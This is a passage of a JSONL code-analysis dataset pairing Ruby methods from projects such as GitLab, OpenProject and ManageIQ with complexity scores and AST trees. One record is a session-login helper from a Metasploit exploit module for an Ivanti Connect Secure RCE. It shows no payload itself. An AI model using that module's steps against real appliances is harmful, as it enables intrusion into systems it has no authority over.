}]}]},\"*\",{\"type\":\"int\",\"children\":[30]}]}]},\"+\",{\"type\":\"lvar\",\"children\":[\"offset_x_start\"]}]}]},{\"type\":\"send\",\"children\":[null,\"drag_element_to\",{\"type\":\"send\",\"children\":[null,\"container\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"offset_x\"]},{\"type\":\"lvar\",\"children\":[\"offset_x\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"drag_release\"]}]}]}","id":"4eb7929a-4249-464e-9351-c8ed7c79c87d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/groups/projects_requiring_authorizations_refresh/base.rb","start_line":24,"raw_source":"def ids_of_projects_shared_with_self_and_descendant_groups(group, batch_size: 50)\n        project_ids = Set.new\n\n        group.self_and_descendants_ids.each_slice(batch_size) do |group_ids|\n          project_ids.merge(ProjectGroupLink.in_group(group_ids).pluck(:project_id)) # rubocop: disable CodeReuse/ActiveRecord\n        end\n\n        project_ids\n      end","complexity_score":9.35,"ast_json":"{\"type\":\"def\",\"children\":[\"ids_of_projects_shared_with_self_and_descendant_groups\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"group\"]},{\"type\":\"kwoptarg\",\"children\":[\"batch_size\",{\"type\":\"int\",\"children\":[50]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"project_ids\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Set\"]},\"new\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group\"]},\"self_and_descendants_ids\"]},\"each_slice\",{\"type\":\"lvar\",\"children\":[\"batch_size\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"group_ids\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project_ids\"]},\"merge\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ProjectGroupLink\"]},\"in_group\",{\"type\":\"lvar\",\"children\":[\"group_ids\"]}]},\"pluck\",{\"type\":\"sym\",\"children\":[\"project_id\"]}]}]}]},{\"type\":\"lvar\",\"children\":[\"project_ids\"]}]}]}","id":"ca7b4bc9-13c3-40fa-9a4d-a5648f5e4f37"}
{"repo_name":"dawarich","file_path":"./repos/dawarich/app/controllers/settings_controller.rb","start_line":25,"raw_source":"def generate_api_key\n    current_user.update(api_key: SecureRandom.hex)\n\n    redirect_back(fallback_location: root_path)\n  end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"generate_api_key\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"update\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"api_key\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SecureRandom\"]},\"hex\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"redirect_back\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"fallback_location\"]},{\"type\":\"send\",\"children\":[null,\"root_path\"]}]}]}]}]}]}","id":"dce939ba-1a3d-4599-94c8-78dae09822ac"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/system_check/app/gitlab_config_up_to_date_check.rb","start_line":19,"raw_source":"def show_error\n        try_fixing_it(\n          'Back-up your config/gitlab.yml',\n          'Copy config/gitlab.yml.example to config/gitlab.yml',\n          'Update config/gitlab.yml to match your setup'\n        )\n        for_more_information(\n          see_installation_guide_section('GitLab')\n        )\n        fix_and_rerun\n      end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"show_error\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"try_fixing_it\",{\"type\":\"str\",\"children\":[\"Back-up your config/gitlab.yml\"]},{\"type\":\"str\",\"children\":[\"Copy config/gitlab.yml.example to config/gitlab.yml\"]},{\"type\":\"str\",\"children\":[\"Update config/gitlab.yml to match your setup\"]}]},{\"type\":\"send\",\"children\":[null,\"for_more_information\",{\"type\":\"send\",\"children\":[null,\"see_installation_guide_section\",{\"type\":\"str\",\"children\":[\"GitLab\"]}]}]},{\"type\":\"send\",\"children\":[null,\"fix_and_rerun\"]}]}]}","id":"d4a9df23-6a93-4bb4-8cae-c5ddba2e7d58"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/graphql/resolvers/organizations/organization_users_resolver.rb","start_line":23,"raw_source":"def organization_users\n        ::Organizations::OrganizationUsersFinder\n          .new(organization: organization, current_user: context[:current_user])\n          .execute\n      end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"organization_users\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Organizations\"]},\"OrganizationUsersFinder\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"organization\"]},{\"type\":\"send\",\"children\":[null,\"organization\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"current_user\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"context\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"current_user\"]}]}]}]}]},\"execute\"]}]}","id":"66482202-786e-4010-837a-82da975f32d0"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/ivanti_connect_secure_rce_cve_2024_37404.rb","start_line":182,"raw_source":"def confirm_login_user(uri)\n    res = send_request_cgi('method' => 'GET', 'uri' => uri, 'keep_cookies' => 'true')\n    raise IvantiUnknownError, \"[login_user] No response from '#{uri}'\" if res.nil?\n\n    form_data_str = res.get_html_document.xpath('//form/input[@id=\"DSIDFormDataStr\"]/@value').text\n    raise IvantiNotFoundError, '[login_user] Could not find the FormDataStr token' if form_data_str.empty?\n\n    uri = normalize_uri(target_uri.path, '/dana-na/auth/url_default/login.cgi')\n    res = send_request_cgi(\n      'method' => 'POST',\n      'uri' => uri,\n      'keep_cookies' => 'true',\n      'vars_post' => {\n        'btnContinue' => 'Continue the session',\n        'FormDataStr' => form_data_str\n      }\n    )\n    raise IvantiUnknownError, \"[login_user] No response from '#{uri}'\" if res.nil?\n\n    res\n  end","complexity_score":22.5,"ast_json":"{\"type\":\"def\",\"children\":[\"confirm_login_user\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"uri\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"lvar\",\"children\":[\"uri\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"keep_cookies\"]},{\"type\":\"str\",\"children\":[\"true\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"IvantiUnknownError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"[login_user] No response from '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri\"]}]},{\"type\":\"str\",\"children\":[\"'\"]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"form_data_str\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"get_html_document\"]},\"xpath\",{\"type\":\"str\",\"children\":[\"//form/input[@id=\\\"DSIDFormDataStr\\\"]/@value\"]}]},\"text\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"form_data_str\"]},\"empty?\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"IvantiNotFoundError\"]},{\"type\":\"str\",\"children\":[\"[login_user] Could not find the FormDataStr token\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"uri\",{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"/dana-na/auth/url_default/login.cgi\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"lvar\",\"children\":[\"uri\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"keep_cookies\"]},{\"type\":\"str\",\"children\":[\"true\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_post\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"btnContinue\"]},{\"type\":\"str\",\"children\":[\"Continue the session\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"FormDataStr\"]},{\"type\":\"lvar\",\"children\":[\"form_data_str\"]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"IvantiUnknownError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"[login_user] No response from '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri\"]}]},{\"type\":\"str\",\"children\":[\"'\"]}]}]},null]},{\"type\":\"lvar\",\"children\":[\"res\"]}]}]}","id":"ae9efbb8-4c3c-4a3c-bc98-5c649650eb62"}
{"repo_name":"rspec-core","file_path":"./repos/rspec-core/spec/rspec/core/memoized_helpers_spec.rb","start_line":594,"raw_source":"def self.included(m); m.let(:unrelated) { :unrelated }; end","complexity_score":2.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"included\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"m\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"m\"]},\"let\",{\"type\":\"sym\",\"children\":[\"unrelated\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"sym\",\"children\":[\"unrelated\"]}]}]}","id":"a3c21b62-58a1-46af-9e57-44b341fba752"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/work_items/data_sync/move_service.rb","start_line":16,"raw_source":"def move_system_notes(current_user, new_work_item, original_work_item)\n          SystemNoteService.noteable_moved(\n            new_work_item,\n            new_work_item.resource_parent,\n            original_work_item,\n            current_user,\n            direction: :from\n          )\n\n          SystemNoteService.noteable_moved(\n            original_work_item,\n            original_work_item.resource_parent,\n            new_work_item,\n            current_user,\n            direction: :to\n          )\n        end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"move_system_notes\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"current_user\"]},{\"type\":\"arg\",\"children\":[\"new_work_item\"]},{\"type\":\"arg\",\"children\":[\"original_work_item\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SystemNoteService\"]},\"noteable_moved\",{\"type\":\"lvar\",\"children\":[\"new_work_item\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_work_item\"]},\"resource_parent\"]},{\"type\":\"lvar\",\"children\":[\"original_work_item\"]},{\"type\":\"lvar\",\"children\":[\"current_user\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"direction\"]},{\"type\":\"sym\",\"children\":[\"from\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SystemNoteService\"]},\"noteable_moved\",{\"type\":\"lvar\",\"children\":[\"original_work_item\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"original_work_item\"]},\"resource_parent\"]},{\"type\":\"lvar\",\"children\":[\"new_work_item\"]},{\"type\":\"lvar\",\"children\":[\"current_user\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"direction\"]},{\"type\":\"sym\",\"children\":[\"to\"]}]}]}]}]}]}","id":"f9f8f011-ebe8-40ae-b6f5-87ce85853311"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/dialog.rb","start_line":91,"raw_source":"def load_values_into_fields(values, ignore_nils = true)\n    values = values.with_indifferent_access\n\n    dialog_field_hash.each_value do |field|\n      field.dialog = self\n      new_value = values[field.automate_key_name] || values[field.name] || values.dig(\"parameters\", field.name)\n      new_value ||= field.value unless ignore_nils\n\n      field.value = new_value\n    end\n  end","complexity_score":24.9,"ast_json":"{\"type\":\"def\",\"children\":[\"load_values_into_fields\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"values\"]},{\"type\":\"optarg\",\"children\":[\"ignore_nils\",{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"values\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"values\"]},\"with_indifferent_access\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"dialog_field_hash\"]},\"each_value\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"field\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"field\"]},\"dialog=\",{\"type\":\"self\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"new_value\",{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"values\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"field\"]},\"automate_key_name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"values\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"field\"]},\"name\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"values\"]},\"dig\",{\"type\":\"str\",\"children\":[\"parameters\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"field\"]},\"name\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ignore_nils\"]},null,{\"type\":\"or_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"new_value\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"field\"]},\"value\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"field\"]},\"value=\",{\"type\":\"lvar\",\"children\":[\"new_value\"]}]}]}]}]}]}","id":"57fbecc0-02f1-4322-8fc5-c224ccef46ba"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/lib/task_helpers/exports/customization_templates.rb","start_line":24,"raw_source":"def pxe_image_type_hash(pxe_image_type)\n        if pxe_image_type\n          {:pxe_image_type => pxe_image_type.to_model_hash.reject { |key| EXCLUDE_ATTRS.include?(key) }}\n        else\n          {:pxe_image_type => {}}\n        end\n      end","complexity_score":5.7,"ast_json":"{\"type\":\"def\",\"children\":[\"pxe_image_type_hash\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"pxe_image_type\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pxe_image_type\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"pxe_image_type\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pxe_image_type\"]},\"to_model_hash\"]},\"reject\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"EXCLUDE_ATTRS\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"key\"]}]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"pxe_image_type\"]},{\"type\":\"hash\",\"children\":[]}]}]}]}]}","id":"8ecc9954-7ec0-44a7-99eb-d0901d847a72"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib/api/v3/users/user_sql_representer.rb","start_line":61,"raw_source":"def render_if_view_user_email_or_self(*)\n            if User.current.allowed_globally?(:view_user_email)\n              \"TRUE\"\n            else\n              \"id = #{User.current.id}\"\n            end\n          end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"render_if_view_user_email_or_self\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"current\"]},\"allowed_globally?\",{\"type\":\"sym\",\"children\":[\"view_user_email\"]}]},{\"type\":\"str\",\"children\":[\"TRUE\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"id = \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"current\"]},\"id\"]}]}]}]}]}","id":"d6738ca4-d14f-4ce1-a00e-8ffddecd423d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/ci/test_failure_history_service.rb","start_line":70,"raw_source":"def gather_failed_unit_tests_from_reports(failed_builds)\n      failed_builds.each_with_object({}) do |build, failed_unit_tests|\n        test_suite = generate_test_suite!(build)\n        test_suite.failed.each do |key, unit_test|\n          failed_unit_tests[key] = {\n            build: build, # This will be used in ci_unit_test_failure_attrs\n            unit_test: unit_test # This will be used in ci_unit_test_attrs\n          }\n        end\n      end\n    end","complexity_score":9.5,"ast_json":"{\"type\":\"def\",\"children\":[\"gather_failed_unit_tests_from_reports\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"failed_builds\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"failed_builds\"]},\"each_with_object\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"build\"]},{\"type\":\"arg\",\"children\":[\"failed_unit_tests\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"test_suite\",{\"type\":\"send\",\"children\":[null,\"generate_test_suite!\",{\"type\":\"lvar\",\"children\":[\"build\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"test_suite\"]},\"failed\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]},{\"type\":\"arg\",\"children\":[\"unit_test\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"failed_unit_tests\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"build\"]},{\"type\":\"lvar\",\"children\":[\"build\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"unit_test\"]},{\"type\":\"lvar\",\"children\":[\"unit_test\"]}]}]}]}]}]}]}]}","id":"868abd2d-782c-4bc0-aad4-d961b2dc8b1c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/projects/graphs_controller.rb","start_line":26,"raw_source":"def show\n    @ref_type = ref_type\n\n    respond_to do |format|\n      format.html\n      format.json do\n        commits = @project.repository.commits(ref, limit: MAX_COMMITS, skip_merges: true)\n        log = commits.map do |commit|\n          {\n            author_name: commit.author_name,\n            author_email: commit.author_email,\n            date: commit.committed_date.to_date.iso8601\n          }\n        end\n\n        render json: Gitlab::Json.dump(log)\n      end\n    end\n  end","complexity_score":28.9,"ast_json":"{\"type\":\"def\",\"children\":[\"show\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@ref_type\",{\"type\":\"send\",\"children\":[null,\"ref_type\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"respond_to\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"format\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"format\"]},\"html\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"format\"]},\"json\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"commits\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@project\"]},\"repository\"]},\"commits\",{\"type\":\"send\",\"children\":[null,\"ref\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"limit\"]},{\"type\":\"const\",\"children\":[null,\"MAX_COMMITS\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"skip_merges\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"log\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"commits\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"commit\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"author_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"commit\"]},\"author_name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"author_email\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"commit\"]},\"author_email\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"date\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"commit\"]},\"committed_date\"]},\"to_date\"]},\"iso8601\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Json\"]},\"dump\",{\"type\":\"lvar\",\"children\":[\"log\"]}]}]}]}]}]}]}]}]}]}]}","id":"e78ef14f-d37d-44b4-bbbe-d715a6b0757c"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/workers/principals/delete_job.rb","start_line":67,"raw_source":"def delete_associated(principal)\n    delete_notifications(principal)\n    delete_private_queries(principal)\n    delete_tokens(principal)\n    delete_favorites(principal)\n  end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"delete_associated\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"principal\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"delete_notifications\",{\"type\":\"lvar\",\"children\":[\"principal\"]}]},{\"type\":\"send\",\"children\":[null,\"delete_private_queries\",{\"type\":\"lvar\",\"children\":[\"principal\"]}]},{\"type\":\"send\",\"children\":[null,\"delete_tokens\",{\"type\":\"lvar\",\"children\":[\"principal\"]}]},{\"type\":\"send\",\"children\":[null,\"delete_favorites\",{\"type\":\"lvar\",\"children\":[\"principal\"]}]}]}]}","id":"ccef144e-5f82-4e76-a514-342215331e83"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/keeps/helpers/groups.rb","start_line":25,"raw_source":"def pick_reviewer(group, identifiers)\n        return unless group\n\n        available_reviewers = available_reviewers_for_group(group)\n        return if available_reviewers.empty?\n\n        # Use the change identifiers as a stable way to pick the same reviewer. Otherwise we'd assign a new reviewer\n        # every time we re-ran housekeeper.\n        random_engineer = Digest::SHA256.hexdigest(identifiers.join).to_i(16) % available_reviewers.size\n\n        available_reviewers[random_engineer]\n      end","complexity_score":13.75,"ast_json":"{\"type\":\"def\",\"children\":[\"pick_reviewer\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"group\"]},{\"type\":\"arg\",\"children\":[\"identifiers\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"available_reviewers\",{\"type\":\"send\",\"children\":[null,\"available_reviewers_for_group\",{\"type\":\"lvar\",\"children\":[\"group\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"available_reviewers\"]},\"empty?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"random_engineer\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Digest\"]},\"SHA256\"]},\"hexdigest\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"identifiers\"]},\"join\"]}]},\"to_i\",{\"type\":\"int\",\"children\":[16]}]},\"%\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"available_reviewers\"]},\"size\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"available_reviewers\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"random_engineer\"]}]}]}]}","id":"a006aba5-89e2-44a4-9bdf-39c751afefd2"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/support/pages/custom_fields/index_page.rb","start_line":47,"raw_source":"def set_name(name)\n        find_by_id(\"custom_field_name\").set name\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"set_name\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"find_by_id\",{\"type\":\"str\",\"children\":[\"custom_field_name\"]}]},\"set\",{\"type\":\"lvar\",\"children\":[\"name\"]}]}]}","id":"603c48cf-743e-4900-88b1-07b995ed622d"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/enterprise/app/services/messages/audio_transcription_service.rb","start_line":29,"raw_source":"def fetch_audio_file\n    temp_dir = Rails.root.join('tmp/uploads')\n    FileUtils.mkdir_p(temp_dir)\n    temp_file_path = File.join(temp_dir, attachment.file.filename.to_s)\n    File.write(temp_file_path, attachment.file.download, mode: 'wb')\n    temp_file_path\n  end","complexity_score":17.4,"ast_json":"{\"type\":\"def\",\"children\":[\"fetch_audio_file\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"temp_dir\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"root\"]},\"join\",{\"type\":\"str\",\"children\":[\"tmp/uploads\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FileUtils\"]},\"mkdir_p\",{\"type\":\"lvar\",\"children\":[\"temp_dir\"]}]},{\"type\":\"lvasgn\",\"children\":[\"temp_file_path\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"lvar\",\"children\":[\"temp_dir\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"attachment\"]},\"file\"]},\"filename\"]},\"to_s\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"write\",{\"type\":\"lvar\",\"children\":[\"temp_file_path\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\